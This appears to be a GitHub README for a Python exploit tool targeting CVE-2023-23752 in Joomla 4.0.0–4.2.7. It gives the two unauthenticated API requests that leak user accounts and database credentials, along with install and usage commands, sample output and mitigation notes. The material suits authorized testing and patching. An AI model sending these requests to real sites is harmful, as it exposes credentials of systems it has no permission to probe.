
Python port of the CVE-2023-23752 exploit — Joomla! < 4.2.8 unauthenticated information disclosure (user list + DB credentials leak)
⚠️ Disclaimer: This tool is intended for educational purposes and authorized penetration testing only. Use it only against systems you own or have explicit written permission to test. Unauthorized use is illegal.
Joomla! is one of the most widely used open-source content management systems (CMS). Versions 4.0.0 to 4.2.7 expose two API endpoints without proper access control, allowing an unauthenticated attacker to retrieve sensitive information: registered user accounts and, in vulnerable configurations, the site's database credentials.
The vulnerability was discovered by Zewei Zhang from NSFOCUS TIANJI Lab and disclosed to the Joomla! project, which released a patch in version 4.2.8. It was assigned CVE-2023-23752.
This repository contains a Python port of the original Ruby exploit released by ACCEIS.
Joomla's REST API webservice endpoints are supposed to enforce authentication and access checks before returning data. In affected versions, two endpoints fail to perform this check correctly when called with the public=true query parameter, treating the request as if it came from an anonymous "public" access level that should only expose non-sensitive data — but instead leaks internal information.
GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true
The script automates the following steps:
1. Send GET request to /api/index.php/v1/users?public=true
2. Parse the JSON:API response and extract user records
3. Send GET request to /api/index.php/v1/config/application?public=true
4. Parse the JSON:API response and extract site + database configuration
5. Print both datasets to the console
No authentication, session, or CSRF token is required at any point — the whole attack is two unauthenticated GET requests.
requestspip install requests --break-system-packages
git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages
usage: CVE-2023-23752.py [-h] url
positional arguments:
url Base URL of the target, e.g. http://dev.devvortex.htb
options:
-h, --help show this help message and exit
python3 CVE-2023-23752.py http://127.0.0.1:4242
python3 CVE-2023-23752.py http://dev.devvortex.htb
=== Users ===
[123] Administrator (admin) - [email protected] - ['Super Users']
=== Site info ===
Site name: My Site
Editor: tinymce
Captcha: 0
Access: 1
Debug status: False
=== Database info ===
DB type: mysqli
DB host: localhost
DB user: joomla_user
DB password: ********
DB name: joomla_db
DB prefix: sd8f2_
DB encryption: 0
/api/index.php/* at the web server or WAF level if upgrading isn't immediately possible./api/index.php/v1/ webservice paths.| Field | Value |
|---|
| CVE | CVE-2023-23752 |
| Affected | Joomla! 4.0.0 – 4.2.7 |
| Type | Improper Access Control / Information Disclosure |
| Privileges | None (unauthenticated) |
| Impact | Disclosure of user accounts and DB credentials |
| Patch | Joomla! 4.2.8 (released 2023) |